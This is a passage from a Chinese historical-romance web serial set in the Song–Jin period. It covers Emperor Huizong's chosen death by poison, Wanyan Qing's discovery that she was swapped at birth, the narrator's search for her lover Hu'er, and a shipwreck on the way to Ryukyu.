一场风波就这样结束,人们散开,街市恢复如常。 完颜晴现在的处境这么四面楚歌吗!?不容我多想,就有几个人悄悄围了过来,为首的女子,瑚儿认出是金奴的贴身侍女。 我和瑚儿交换了下眼神,确实都不知道是怎么回事!自从完颜晴在府中被行刺,我们就远离金奴了,在伍国城对她行径的耳闻也是无可奈何。加之如果不是她揭露,我和瑚儿可能还安稳的过着日子,种种加在一起,我们都不太想见她。 但是,总不能再引起一场风波吧!只好乖乖跟着他们离开,不打扰任何人的计划是泡汤了。 “小妹!你们回来了真是太好了!”金奴一见面就迎过来,拉住瑚儿的手。这样热情的样子,真是未曾见过,“你们过了长白山,我就收到消息了!她应该也会知道!” 她?完颜晴吗?确实,我们过关卡都会查验身份,如果特殊留意,就像金奴这样,会得到消息的。 “二姐,嬛嬛我们已经送回去了,”瑚儿拉起金奴的手,似乎是祈求,“我们想回伍国城安稳度日!” “安稳?覆巢之下何来安稳?”金奴居然生气了,甩开瑚儿“让女真人占着我大宋江山?让我们苟且偷生委曲求全,还是让那个赵构继续越俎代庖?”她越说越气愤,我甚至看到了她眼中的血丝,“还有那个宗逸公主……” “二姐……二姐!”瑚儿拉住金奴,想让她冷静下来,“现在宋金互不相犯,已实属不易。我们可以尽力解救同胞,复国之事从长计议吧!你先别激动!”瑚儿看向我,示意我也配合一下,金奴的状态明显不太对。 “对,从长计议!现在尚算太平!”我也安慰着,但是实情也差不多如此。 “太平有什么用?!……我不甘心!”金奴咬着牙说着。 “二姐,你想要我做什么?”瑚儿无奈的问着。 “我想你去说服父皇……”金奴仿佛抓到了救命稻草一般说着她的计划…… 夜里我们就坐上了前往伍国城的马车,瑚儿靠在我身上,我们沉默着。 不在上京的这段时间,金奴扶持的昌大王争权彻底失败,不过没有被清算,南边赵构又已经坐稳了江山,宋金两国一时谁也拿不下谁!她不甘心就此与政治权力无关,便策划着:先是散布消息,将迟迟没有取得战争胜利的原因,归结为金庭内有人亲宋,完颜晴首当其冲。金皇帝为了平息贵族的不满,就命完颜晴去伍国城传旨,责备徽钦二帝,这种折辱或许可以化解朝中不满,完颜晴不得不去。 然后由我们送去药,让徽宗在被责备后假死,赵构不得不以复仇的名义发兵,不然何以立国呢!?金奴在派人护送假死的徽宗到前线,徽宗重登帝位,下旨南宋全力作战收回失地。这么做可能会成功,但是更大的可能是在金国的宋人会被诛杀殆尽! 金奴是宁死都不甘心平庸的,至于其他人,在她眼里既然安于为奴那也就也不配活着。 我们哪里是去劝说,简直是被押送去逼徽宗。 “瑚儿,父皇那么宠爱你,你难道忍心他在伍国城坐井观天吗?” 回想起金奴对瑚儿说的话,我们不知道为什么会被卷入这样的境地?如果真的可以假死逃出,何必要在阵前出现,万一南宋群臣投鼠忌器,岂不成了金军的敲门砖?! 赶了两天一夜的路,我们也没怎么休息,虽然车上可以躺着,但是一直有人看守,我们无法交流,到底要怎么做呢?感觉会走向两败俱伤的结局…… 到城中已经是深夜,我们下了马车便被要求换了侍卫的衣服,然后就见到了道君皇帝。那位曾经自诩仙风道骨的君王,如今确实形销骨立。 瑚儿许久未见他了,见了面下跪被徽宗扶起时已经泪流不止。我们不是第一批来此劝说的人,却是最终来送药的,这是金奴最后的通牒。 “瑚儿,你帮爹爹研墨,好不好?”说了一会话之后,徽宗笑着让瑚儿去取文房四宝。 剩下我们两人的时候,他走过来问我,“宗逸公主是不是朕和善娘的女儿?” 我点点头。 他不再问瑚儿的身世,因为他还是愿意相信自己宠爱多年的就是自己的女儿! 他舒心的笑了,然后自言自语道“难怪那么像?哪里都像!聪慧、大气……”突然他又像是想到了什么,叹了口气。嘱咐我说“你一定想办法帮朕找药来!” 什么药?我和他确认着,得到了毒药的答案,而且必须立刻有效。 随后他和金奴的人说,想喝点桂花酒,让我去买来。守卫不敢放我出去,他催促着说“放心,瑚儿在,他不会跑的!”然后催我快去,眼神中居然有点祈求的感觉。 我趁着夜色跑出去,这里离冷语的药铺不远,我敲了一会门,又轻轻用汉语喊着冷语的名字。 终于,冷语披着衣服开了门,我进屋说明来意,也算是奉了皇帝的命来讨要毒药,最好是快速有效的。冷语迟疑片刻,回屋取出一个小瓷瓶交给我。随后我又拿了一小坛桂花酒,赶回去! 再次进入软禁之所,徽宗已经写完一封信,封好交给瑚儿,然后招我过去,他接过酒坛,让瑚儿先去休息!然后又留住了我…… “好久没有喝桂花酒了!”他打开塞子“陪朕喝点!你们都退下吧!” 侍卫没有动。他无奈的说,“金奴送来的药朕会吃的,你们回去复命吧!” 侍卫才离开,他就问我要药。我取出瓷瓶,被他抢过。他打开瓶子倒出来看了看,居然笑了,“你知道这是什么毒吗?” 我摇摇头,冷语没有说。 “我的先人曾用它赐死了一位前朝皇帝”他说着就将药吞入口中,我惊愕之下居然想要伸手阻止,他无奈的说“都说他是千古词帝,朕这个万般皆能的皇帝,步了他的后尘,也是命吧!” “春花秋月何时了……故国不堪回首……只是朱颜改……”他喝着酒颂着,随即又让我取来纸笔,用他的瘦金体写下最后的旨意,一面写着一面说“朕本来也不是该继承大位的人,享受了这些年也不枉此生……” “也许没让社稷稳固,没让百姓安居乐业是朕错了!”他继续说着“朕的孩子有野心、有智谋,朕该高兴吗?……我累了……” 说完他将那封绝命书给了我,“不要让宗逸公主后悔!”随即他摆摆手让我离开,“你成全了朕最后的大义,若是朕真的成了神仙,会保佑你们的!去吧!好好陪着朕的女儿!” 我被他推着离开了。 我走在静夜里,向着药铺的方向,瑚儿在那里等着。 一进门她就迎上来紧紧的抱着我,也许刚刚她也感觉徽宗不对劲了。我将信递给她,她轻轻展开,随即就因为颤抖而任由它飘落,我拾起来看到上面写着他的疲惫和忏悔,他想保留作为君王的最后一点尊严,他不希望再有人无谓牺牲了。 我们几人坐在厅中,等着天亮。古沃贺虽然不知道发生了什么,还是尽力照顾着瑚儿,她为瑚儿煮了一杯热奶茶,刚刚递到瑚儿手里,门外居然传来了敲门声,这才过了四更,会是谁呢? 我问着,门外传来百林的声音,“是我们,公主来了!”我打开门,完颜晴穿着翻毛锦衣走了进来,看着站在一起的瑚儿和古沃贺居然一时愣神,我顺着她的目光望去,不愧是表姐妹,长得好像,以前虽然觉得相似,但是随着古沃贺长大了,居然和瑚儿越发像了! “这么晚了你们怎么都在这里?”完颜晴回神问着,看着我说“不是说过走了就不要回来了吗?” 然后她又转向瑚儿说“你们偷偷跑回来,还要躲着我吗?” “瑚儿有点想这里了!”我看瑚儿没有心情回答,我就说着,也算是实话,我们原本就是这么想的,只是没想到发生了这么多事!“你怎么半夜跑来了!?”我问道。 “我奉旨来……见徽钦二帝!”完颜晴转换着言辞,她是被要求来斥责宋皇帝的,目的是打压宋人的尊严,虽然她不愿意,可是为了平息朝内的非议和不满,也只得前来。“没想到路过这里发现亮着灯!” 我们被迫赶到这里,比完颜晴还早到了。 正想着,门外传来侍卫禀报的声音,急得都出颤音了。 “宋皇帝死了!”乌里进来重复道。 瑚儿颓然跪了下去,古沃贺和冷语忙过来扶着她,可我知道她的悲伤难以自抑。 我看向完颜晴,她神情震惊之余,却又如释重负的松了口气。也许就算不知道身世,她也从来没有过想要折辱亡国之人的想法。 这样她也不会为难了。 停灵期间完颜晴安排我和瑚儿偷偷潜入拜谒,我和瑚儿商量,徽宗皇帝希望不要因为他再起风波,而且有些金人仍然想借机折辱宋人,嚷着要用他的遗体提炼灯油……与其那样,不如按照女真习俗火化吧!至少还能保证将来有一天魂归故土。瑚儿擦干眼泪点点头,回身又拜了三次。 我把我的想法和完颜晴说了,得到了同意,夜里我们伪造了走水的现场,等到火灭了,遗体已经算是火化完成了。 先帝驾崩的消息传到宋境之后,南宋竟然提出用万金以换其尸骨,并且派了重兵到徐州和谈。 完颜晴领命陪着金国继承人和剌前往,其实我们早已经将尸骨替换出来,我和瑚儿打算再一次南归,到青州将他和李善娘合葬,然后就永远离开中原,未来去大理或者东渡也好。 没想到刚刚修整好墓地,换好墓碑,就遇到了本该在徐州的完颜晴,她身边被搀扶的,居然是陈阿婆…… 96、赔偿 “陈阿婆,您是说我长得像的那位李娘子就葬在这里是吗?”完颜晴看着我们,却转向陈阿婆继续问着,我能看出她嘴角微微的颤抖。 陈阿婆点点头,走近过来,认出了我,“是你啊!你当时也打听她们来着,”她又看到了没有易容的瑚儿,眯起眼确认后说道“这不齐了嘛!这位小媳妇就很像那位外族夫人,当年她也差不多这个年纪,简直一模一样!……美啊!”她连连点头。 “这么多年了,您会不会认错了!”我想打断她的话。 “你早知道了!?”完颜晴盯着我,少有的寒意逼人。 “知道什么?小飞!”瑚儿看着这场面,自然不解,她抓紧我的手臂问着“我像谁?” “所有人都在保护你,”完颜晴悲怆的说着,“你的命真好啊!”说完她让乌里送陈阿婆些礼物再送她回家。 完颜晴木然走到墓碑前,似乎没有什么情绪。就算她知道了身世,一时之间又该有什么样的感情呢?墓里的人给了她生命,却没有相处的记忆…… “我们聊聊吧!”在空气凝固之前,完颜晴轻轻说着,看向了瑚儿。这两个有着同生缘的女子要说什么呢?瑚儿也被刚刚的一些话引得心神不宁,便不顾我的拉扯,去和完颜晴密谈。 我在旁边屋里焦急的等着,几次压下冲过去或者偷听的冲动。乌里却突然推门进来,将一封信递给我,说是百林要交给我的。 “百林?对了,怎么没有看到她?”我一面疑问一面展开了信。 “百林,死了!”随着我看到绝笔字样,乌里深沉的声音说着。我震惊的看着她,不敢相信。正是她送我们离开的伍国城,告别的时候还好好的,怎么? “那日公主让她去送你们,可是她迟迟未归。晚上公主担心便派人去找,在附近的山崖下找到了身有刀伤,奄奄一息的百林……”乌里几度哽咽,断续说着“公主用了上品人参为她续命……她不停说着,是昌王妃!不是你、不要怪你……” “她让我代她写下这些话给你!坚持了三天,还是去了!”乌里深吸着气,平复着情绪。 我再一次好好看着信: 倪飞小姐:我知道不会是你泄露消息,因为我相信你不会害澈穆格公主,我也不想让公主对你有误会,因为公主太苦、太孤独了,如果连你也恨,她这辈子恐怕不会再相信或者在意任何人了! 你不在上京的日子,我和乌里讲起你的消息她会开心,虽然她假装不在意……以后你可不可以对公主再好一点!我来世好好报答你! 百林绝笔” 信里的字句,看的我无措…… “你走之后,上京城就开始流传公主是宋人的流言,说她是徽宗的女儿!”乌里说到这里,有些愤然“公主领命带着宋皇帝尸骨到徐州谈判后,消息就越传越盛……后来宋人出尔反尔,朝中又有人挑拨,公主就被召回了。没想到,在回程的路上我们碰到昌大王的拦截,昌王妃也在,她给了公主一封信,说是关于身世!” “信?”我问道,关于她的身世?“你知道是谁写的吗?大概说了什么?” 乌里摇摇头“公主没有说,信被撕毁了!不过公主自那之后看起来很生气也很伤心!” 至于危机,幸好她早有防备,藏了一支暗卫,护她们平安逃离。完颜晴一时间,无心管昌大王为何私自领兵去了前线,就带着乌里和一些亲信来到出生之地——青州。 “我们打听到有个老婆婆可能知道当年的事,就找到了陈阿婆”乌里说着她们来这里的原因和经历“陈阿婆一见面就说公主长得好像一位姓李的娘子,我们便跟着去了那里……” 然后我们就遇到了!所以她是不是被人误导了? 我赶忙跑到门口,门却突然打开了,瑚儿眼睛微微红着,却已经冷静下来,里面的完颜晴还坐在那里喝着酒。 “小飞,你饿不饿?我去做点好吃的,你先陪她喝点酒聊聊天吧!”瑚儿拒绝了我的跟随,让我留下,“我很快就回来!”她握着我的手安慰着。 我点头应着,目送她离开后,就进入屋里,完颜晴已经有些微醺,可是还是不断地将酒倒入口中,衣襟都湿了,下巴上酒滴晶莹,眼睛里也闪着泪光。 “别喝了!一会该醉了!”我试着抢过她的酒壶。 “你是关心我吗?”她按住我的手,紧紧握着。 “别喝了,”我想抽出手来,却被她用力拉住,“完颜晴,别闹了!” 她突然松开手,自嘲道“对啊!我是完颜晴……不是你的赵瑚儿,你怎么会关心我呢?”然后她继续喝着,“赵瑚儿天真善良……被所有人爱护着……可我呢?我是谁?”她说着居然笑着哭起来…… “你到底听到了什么传言?”我见她悲戚的模样也觉得苦涩,便不自觉缓和下来语气问着,“这当中可能有误会……” “亡国之女会经历什么?她难道不知道吗?她的女儿是人,我就不是吗?……这些年我全力护着温敦部,济蓝又是如何对我的!就因为我不是她亲人吗?我从来没觉得自己可怜,以为那就是我的命……”她说着摸着我的脸,“人人都会爱上白璧无瑕的赵瑚儿……没有人会爱我!” “完颜晴……”我侧脸想躲开她的手,却被她扑过来压在身下,她继续说“我不是完颜晴,不该是的!我才赵瑚儿,你那么爱的赵瑚儿……”她越说越愤怒也越发疯狂,居然径直吻下来,我用力想推开她,却被她狠狠咬住嘴唇,疼痛和愤怒让我加大了力气,终于将她推开。 “你疯了吗?”我摸着嘴唇,手上沾着血。 “完颜晴不需要正常!你会帮我做赵瑚儿吗?”她顺势躺在地下,“如果我有她那样的生活,就会是那样无忧无虑的!是她欠我的……”她支撑着起身。 “够了,根本就不一样!”我也有些气性上头了,居然说出了“你就算是长在赵家,也不过是另一个赵金奴……” 啪!一个耳光打断了我,她揪着我的衣服嘶吼起来“就算别人这么想,你……不可以这么说我……我……”她揪着我的衣服奔溃大哭,这是她第一次在我面前展现,这么难过无助的一面,她仿佛要把这些年所有的委屈和不甘心,都宣泄出来,我感觉心口的衣服正一点点的被温热的眼泪浸透。 我无法再回应或者安慰她,只能任由她在我怀中哭泣,我的手垂在身侧,不敢轻易碰触她……不知道过了多久,她好像睡着了。我正想着要不要招呼乌里过来,帮忙将她移动到床上时,门突然开了…… “瑚儿,她……”我回头看到瑚儿端着酒菜进来,见到完颜晴靠在我怀中的情景。 瑚儿忙放下木案,过来和我一起将完颜晴扶到床上,我就跑去叫乌里来照顾完颜晴。 “瑚儿,你们说了什么?”我和瑚儿带着酒菜到了隔壁房间,我问着,她看起来和平时好像没有什么不同。她斟了一杯酒递给我,笑着说“她说我们出生后被交换了,她替我吃了很多苦,要我把你赔给她!” “嗯?!”她怎么这么平静的说出这么炸裂的话,“瑚……瑚儿,你怎么回答的?!”我震惊得结巴起来。 “小飞,你早就知道我的身世吗?”瑚儿没有回答,而是继续问着我。 我该怎么说呢!完颜晴似乎就因为我知道没有告诉她而生气了,瑚儿呢? “我也是在安大夫那里遇到陈阿婆,才知道你们出生时的事,”我坐到瑚儿身边,拉起她的手,另一只手将她揽在怀中,“当年的事没有人确切的知道真相,陈阿婆也是从长相来说的!你们都那么好看,美丽的人都差不多,她可能真的记混淆了吧!” “完颜晴问我,觉不觉得我和古沃贺长得更像姐妹?”瑚儿轻轻的靠着我,“你觉得呢?” “就算真的交换了!也未必是谁亏欠了谁,”我回忆着陈阿婆说的话,“没有人会想到,后来你们的境遇会不同!不管你是谁的孩子,你都是我的瑚儿!” “是吗?我享受到了很多宠爱,她却四面楚歌,如果我们没有被调换,是不是我也会是她那样?”瑚儿的声音变了,似乎有些鼻吸不畅“不对!我没有她那么有本事,不能为宋金和平做什么,我可能早就郁郁而终了!” “不要瞎想,瑚儿!”我将她搂的更紧,“没有发生的事情,没人想的到,别乱想了好不好!” “她还说,如果我把你送给她,她后半辈子一定继续殚精竭虑的保护宋金和平共处”瑚儿继续说着“尽她最大的努力,守住安宁!” “瑚儿!”我打断她,让她坐直,然后到她跟前看着她,郑重的说“她不是皇帝,我也不是什么佳人,非得进献我才能守一方安宁?我只是个普通的外乡女子,因为你,我才有了家的感觉,我只想和你在一起!你要是敢把我丢下,我就怨你一辈子!” “怨我一辈子?”瑚儿看着我重复道。 “所以别丢下我!瑚儿……”我抱住她,“你不可以不要我!求求你了……瑚儿” “好……”她回抱着我。 抱了一会,她就拍拍我起来,轻轻摸着我被咬伤的嘴唇,又为我擦掉眼泪,“你这么软弱,完颜晴不会长久喜欢你的,与其看你未来被始乱终弃,不如我带着你逃跑吧!”她拉着我坐回饭桌,将筷子递给我,“快吃饭吧!吃完了,我们就动身!” “好!”我缓和了情绪,开始吃起来,瑚儿又为我倒了杯茶,说着“慢点吃~”她给我夹着菜,自己也吃着。 对面的瑚儿笑得温柔,看着我。她好美,哭过之后更多了一份凄婉。渐渐的,我的眼前好像被蒙上了一层薄纱,白茫茫、晕乎乎……终于陷入了梦中…… “瑚儿!”我惊坐起来,发现自己躺在床上盖着被子。我怎么睡着的,想不起了。瑚儿呢? 我跳下床,在屋里找寻着,不见人影。我忙冲出门,闯进完颜晴的屋里,她还在没有起床。 “瑚儿呢?”我摇着她问,她张开眼就用手按着太阳穴,宿醉让她头痛。“瑚儿在哪里?”我继续焦急的问着。 “嗯?你问我?”她又闭眼摇摇头,想让头疼得以缓解。 “把瑚儿还给我!”我拉着她的手臂,企图让她起来给我个交代。 “我倒是无所谓!”她任由我拉着她,“要不你先让我把衣服穿上!?” 我才意识到她赤着身子,躺在被中,因为昨天宿醉,乌里为她褪去了衣物。 我放开她的手臂,站起来背向着她,听到衣服摩擦的声音停止了,就转回来。她裹着一件长衣,翘起腿来,手依然在揉着太阳穴。 “瑚儿在哪里?”我再一次追问。 “我怎么知道?”她嘀咕着,随即像是想起什么来,“哦!她应该是把你赔给我了!” “不可能!”我绝对不相信。 “这药吃了三天后便会毒发身亡!”完颜晴拿出一颗小拇指甲盖大小的黑色药丸,递向我“如果你们两个只能活一个的话,你会怎么选择?” 还能怎么选呢? 我一把抢过来吞下,“我死!你帮我把瑚儿找回来!” 97、生死二选一 如果我和瑚儿只能活一个?那当然是让她活着!我吞下“毒药”,看着有点惊讶的完颜晴,她搓搓刚刚拿着药丸的手指,无奈的笑笑。 “你帮我把瑚儿找回来!我死前想见见她!”我坐在椅子上无谓的说着“我知道你心里有气,但是当年的事已经没有人知道到底是怎么回事了!未必是和卓夫人为了保护自己的女儿调换了你,也不是李善娘为了荣华富贵送走了你!你不要听信那些有心之人的挑拨而乱想!好不好!” 如果真的会毒发,那我干脆把心里话都说出来吧! “我不知道怎么叫你才好,但是我认识的金英也好,完颜晴也好,都是很有智慧,胸怀宽广的女中豪杰!虽然经历了很多磨难,但是一直闪闪发光!”我看着她,说着心里话。 “我知道!虽然娘……只养育我到三岁,可是我记事很早,我记得一岁左右时,她抱着我喂我喝药喝参汤,夜里我睡不着,她就哄着我,给我唱歌……”完颜晴突然说着,回忆着,眼神温柔。 “李夫人也一直在这里等你!”我也说着自己的猜想,当年和卓夫人和李夫人投缘,又一起生产,不过完颜晴的身体孱弱,又恰好赶上金王发诏找和卓夫人母女。两位母亲就商量好,由完颜晴作为和卓夫人的女儿去接受更好的治疗,而瑚儿作为善娘的女儿过普通人的一生,当时李善娘也不敢保证自己能不能再找到徽宗,所以也不敢妄想女儿会不会成为公主。再后来,她留下遗愿葬在田家村,就是期盼着完颜晴可以回来! “也许吧!”完颜晴假装揉着头,掩饰着轻轻拭去眼角的泪的动作,神情舒缓了起来。 “别再气了!”我也软下了语气,“过去无法追溯,未来……你可以做自己!” “好!”她呼出一口气,恢复了往常自信的模样。 “不气了?可以找瑚儿了吗?”我也舒了口气,问着。 “她也做了和你一样的选择!”她站了起来,在我惊愕开口之前抢着说“别急!那不是毒药,只是护肝丸,苦吧!” “公主!我找到了一封信!”乌里突然进屋呈上,完颜晴接过看了不觉失笑“你看看吧!”我一看这不是瑚儿的字迹吗?写得都是我的习惯喜好。 “饲养说明啊!”完颜晴调笑着我“放心,等她三天之后发现自己没有中毒,应该会回来找你的,除非……她真的不想要你了!”完颜晴伸了个懒腰,和乌里说饿了备点饭吧! “看来你是真的想开了!”我看着她自在吃着早餐的样子,和昨天那个崩溃的女子简直判若两人。 “昨天确实感觉一股火涌上心头,我心里不停的想着凭什么,凭什么我的命要是那样?”完颜晴托着腮说着,“你说的那些我也在想,迷迷糊糊的时候反倒是想通了!” “那你还让我俩生死二选一!?”我提高了音量,这不是折磨人吗? “这也是促进我想开的一部分!”她轻轻的说着,又似乎是在安慰我“不管是不是上一代的恩怨,闹了这一场,就都一笔勾销了!放心吧!她不会丢下你的!毕竟你们都可以为了彼此欣然赴死!你该相信她的!” “那你也得帮我找!”我犯起了宁劲儿,闷闷的说着。 “好!真是欠了你的!”她无奈的说,随即注意到了什么“你的嘴该不会是?” 我嘴上还有伤痕,实在不想提起,“昨天你一巴掌,把我扇桌子上了!” “哦?!”她托着下巴回忆着,“对不住了啊!对了!你饿不饿要不要一边吃一边等?” 我哪有心情?可是瑚儿会去哪里呢?三天以后真的会回来吗?坐在这里我只会胡思乱想,干脆出去找找! 走到田家村街上,胡人汉人都有,两种文化并存。 我用汉话和女真话交替打听着,有没有人看到一位三十岁左右的女子,易容之后的瑚儿应该很普通,可是这样怎么会有人留意到呢? 找了半天,一无所获,回头发现乌里跟着我,我垂头丧气的被她拉了回去。 我简单吃了个饼就坐在厅中等着,没想到等来的不是瑚儿,却是古里泰。 他来说着上京城和徐州的情况,前阵子完颜晴因为心乱没有管昌王和金奴,没想到她们到了阵前怒斥赵构得位不正,激化了矛盾,憋闷已久的宋金两军正面交锋,也许是哀兵必胜吧!宋军居然异常勇猛,金军讨不到便宜,只好撤退。幸好完颜晴想着派去暗卫保护和剌,昌王则带着金奴败逃了。 完颜晴本就主张宋金和平相处,现在知道了身世之后,更是不能放任不管了!所以,她不得不赶快重新布置起来。 我倒是没有这个觉悟,只希望瑚儿早点回来,可是难熬的三天过去了,她没有来找我! 我跑去质问完颜晴,情绪由激动的无能狂怒逐渐变为颤抖的祈求,“帮我找到瑚儿好不好!” 完颜晴也觉得此次我和瑚儿离别确实是她的责任,于是她忙中着手画着画像,瑚儿易容后的模样,以温敦人的身份,我们张贴了告示寻人。 可是时间一天天过去,没有线索……我开始用酒麻醉自己,整日醉生梦死。我体会到了芊寻为什么愿意在梦中,因为可以和爱人在一起! 完颜晴也有点慌了,她派出不少人四处打探,还让乌里给我偷偷喂着醒酒养胃的汤。这次她是真的欠了我的! 两个月之后,我听到有人禀告她说,南宋境地突然多了很多埋怨皇帝不孝的声音。据说徽宗皇帝多次传递手谕让南宋发兵收复失地,迎回徽钦二帝,可是赵构不听,结果让先帝含恨而终…… 赵构一怒之下抓了很多自称帝姬、皇亲的归人,包括我和瑚儿护送回去的柔福。探子取出一份名单,我抢过来看着,居然有瑚儿的名字! 我得去救她!徽宗皇帝临终前让瑚儿收着的信,现在在我手里,或许可以救出她! 我恨不得飞去临安,但是完颜晴让我冷静下,她要帮我准备好行囊和钱财。我兴奋的傻乐着道谢,总算有希望了。 “我派一队人护送你去吧!”完颜晴将包袱递给我。 我跨上马笑着拒绝,“我这样更快!放心我会救出瑚儿的!”我对着她更是对着自己说,“实在不行也可以陪着她……” 完颜晴微微怔住,而我则快马加鞭的离开了。 日夜兼程,只要醒着就在赶路,马跑不动了,就到驿站换,用这个时间短暂休息,然后继续赶路。一个月的路,我十天就赶到了。 我到了临安,听闻皇帝将“冒充”皇亲的人关在公明府中,便用完颜晴给我的钱财疏通,假装狱中送饭的狱卒混进去,我一间间牢房辨认,真的看到了赵嬛嬛,她明明是真的,为什么要被定为冒充,难道皇帝真的想以此杜绝非议吗? 我继续找着,没有瑚儿,那个叫这个名字的女囚确实冒充的。我顿时泄了气,跌坐在墙边。赶了那么久的路,还是一场空欢喜吗!疲累忧愤之下我居然昏睡过去…… 醒来还是在狱中,有人出钱赎人,我居然在昏迷中被替换入监牢里。难道我要命丧于此了吗!? 突然大门那边传来动静,进来一个人后面跟着侍卫。我透过幽暗的烛火看过去,来人居然是赵构!他走到赵嬛嬛跟前,命人打开牢门,里面的人却不肯出来。 “只要你以后不再乱说话,朕可以放了你!”赵构说着。 “皇兄不孝不义!还是送我去见亲人吧!”柔福帝姬不卑不亢,心如死灰的说着“临安永远不会是汴京!” “混账!”皇帝气的发抖,命人呈上毒酒。 “等一下!”我喊着,毕竟是我和瑚儿送回来的人,不想让她这么死在这里,我只好鼓起勇气,“我有可以证明陛下得位正统的证据!” 很快我被侍卫带出来,按着跪下。我想算了,跪就跪吧!随即从怀中掏出了那封信,徽宗交给瑚儿保管的信。瑚儿说过,那里面有赵构最想得到的东西,先帝传位于他的旨意。他终于名正言顺了!但是真的如此吗? 他看着信笑起来,越笑越癫狂,“哈哈哈哈哈!朕今天刚刚颁布了召令,所有先帝手谕都是伪造,不作数!”他将信贴在胸口,“父皇真的传位给我了?!哈哈哈……” 突然,他吐出一口血来,却还紧紧的握着那封遗诏。 “朕记得你,你是二姐夫?”他被侍从顺着气息“朕自己分明了,后人会明白朕到底有没有私心?!如你所愿,所有人暂且收押着吧!至于你……”他俯身看了看,然后回头吩咐道“派一队人带着礼物,将他一起送去给金国宗逸公主……” 什么?把我送回给完颜晴? “金奴公主败逃后,俘虏到的人说,金奴说过金公主对你不错!她一直助力于宋金和谈,朕该送她份礼物的!”赵构笑了,然后命人将我带出去,“姐夫可要好好的北上,如果有什么闪失,朕即刻处死这里所有人!” 原来民间早有传说话本,说一位驸马将军战场未死,隐瞒身份又成了金国驸马…… “你们还不跪下,感谢驸马为大宋安宁做出的贡献!”赵构下着命令。 我头也不回的上了马车,皇室就没有个正常有人性的人!先离开这里,回到完颜晴那里在从长计议找瑚儿吧! 半个月后,我到了金国控制的地界,有一队人出现,居然是扮成侍女模样的完颜晴来接我了! “我派人偷偷跟着你,看宋皇帝没有想杀你的意思,未免多生事端,便在金地迎你了!”完颜晴一面说着一面递过来一块湿毛巾,让我擦脸“你先睡会吧!” 再一次回到田家村她的宅院里,这座宅子其实就是和卓夫人当年住过的,如今被她又买了下来。她说,买下来方便我等瑚儿,与其乱跑一不留神死掉,错过瑚儿,不如好好呆在这里! 对外她说我是百林,因为少有人知道完颜晴的侍女百林不在了,所以我在她身边也不会有人怀疑。 可日子一天天过去,依然没有瑚儿的消息,完颜晴处理政事和战报同时,也让我看着所有探子传来信息,大理也有人找过了,天南地北都找过了,一无所获…… 我有时会饮酒,醉后可能会埋怨完颜晴,乌里在时会尽量试图捂着我的嘴,可能我真的喝多了吧!完颜晴也有听到的时候。但她会让乌里由着我一吐不快,因为她也觉得是那日一时愤怒抛出的谎言选择,才导致今日的无奈。 这年的八月初一,桂花盛开,香气萦绕在整个田家村的角角落落。想着瑚儿生日快到了,她又在哪里呢? 夜里没有月亮,只有花香和寂静,我喝了几壶酒已经记不清了,只是觉得饮下去的如水一般无味。 “别再喝了!”我闻到了桂花的香气,眼前的人是瑚儿吗?好像是又好像不是,她夺着酒壶,我不肯撒手,她温暖的手轻轻拍着我,我才松开酒壶。 “瑚儿”我轻轻唤着。 “很快就会见到了!”她轻轻说着。 她笑了,我用尽力气抱住她,“别再丢下我了!”我感觉到她拍着我的背哄着我,“好,以后瑚儿会和你永远在一起的!” 然后我就睡着了……带着美好的期待…… 第二天我从床上醒来,盖好了被子,看来昨晚喝多之后出现了幻觉,又被乌里放回到床上。 头是真的疼,以后真的不能这么喝了,要不然瑚儿也会嫌弃这样的我吧! “醒了?”完颜晴带着乌里进门来,乌里带来了热水,我洗了脸之后舒服多了。 “谢谢照顾了!”我一面擦脸一面对乌里道谢,“以后我不敢这么喝了!” “确实不用借酒消愁了!”完颜晴递给我一封信,我揉揉头接过展开,是说有个商队往来琉球,见过瑚儿!我顿时打起精神,她在琉球!?对了!颜如玉在那里,难道她们遇到了?要不然她怎么会想到去那里。 “起来吧!准备准备去找你的瑚儿吧!”完颜晴拍了我一下。 “哦!好好!”我忙应和着,咧嘴起身就想往外跑。 却被她拉住,“琉球要坐两个月的船,你倒是准备好行囊啊!” 那么久啊! “得,就当我送走你这个大债主了!”完颜晴故作无奈的说着,“我会帮你准备好的,而且商船也不是马上就有!” 三日之后,我背着大大的行囊在港口和完颜晴道别,“等我找到了瑚儿,稳定下来,我会想办法联系你,把钱还给你的!” “咱们之间早就算不清了!”完颜晴摇摇头,“你要是没找到她,或者她真的不想要你了,你可以回来青州,继续做我的……侍女!” 嗯?她见我被吓到了一般!随即又嫌弃的说着“逗你的!也就她把你当个宝,她要是都不要你了,我岂会做退而求其次的选择!哼!” “完颜晴,谢谢了!”我收回了复杂的情绪,突然想起曾经的一幕幕!海岸边风声呼啸,船老大大喊着要起锚了,她没有听不清我的话! 我拉过她的手,写下“再”,未等写出见字,她就抽回了手,“又在鬼画符,怪痒的!船快起锚了,你快去吧!” 我笑着和她们挥挥手,转身带着无限的期待,登上了那艘前往琉球的商船。到了甲板上我向港口望去,她们已经走了,也许人生的缘分就是这样,我和完颜晴可能不会再见了! 转回头,看着船行驶的方向,是茫茫一片的,没有尽头的大海…… 98、陪伴 我从小生长在北方,到了这里也没有机会坐船,海浪和颠簸是我所未曾经历过的,几次都要呕吐。瑚儿应该也没有坐过这么久的船,两个月的航程实在要命啊! 入夜了,我睡不着就又跑到甲板上,望着满天繁星,渐渐放空了心神! 突然船身猛烈的震动了一下,我忙扶住栏杆,又过了一会船老大出来敲锣,“不好了!不好了!触到礁石了,大家快醒一醒!” 不一会,人们陆陆续续从船舱里跑出来,哭天抢地的呼救着,可是四周是黑漆漆的,哪里有人会来救我们呢?船身不断下降,我感觉到脚下夹板都透着水。 我想去找找有没有可以有浮力的东西,结果只找到一块木板,刚刚拿在手中,船身就倾斜翻转入水,我也被强大的漩涡拉力卷着向下。 冰冷的海水包围着我,这感觉和当年上梁山时被俘的经历很相似,可是没有瑚儿将我拉起了。 我还抱着那块木板,因为缺氧和呛水而陷入黑暗中…… 我仿佛在漂浮又好像在飞翔,我记得自己应该在海中,可是却越来越渴。 我听到耳边有声音说着“这里有个还活着的”,因为一直迷迷糊糊,很多话和声音我不知道是真实还是幻觉。 “公主!是她!”“倪飞!…你醒醒!”“我来喂吧!乌里,你再去熬一点鱼汤!”“小飞,你昏迷五天五夜了,快醒过来吧!你不还要去找瑚儿吗?” 瑚儿!对啊!我要找瑚儿的!可是我没有力气醒过来,仿佛被按着,头好痛,身体好冷……感觉还在水中…… “她还在发烧……哈梵你有什么办法吗?千年人参已经给她吃过了!怎么还在烧?而且这么出虚汗,她会脱水的!” “乌里,我来吧!”干爽的感觉蔓延着…… 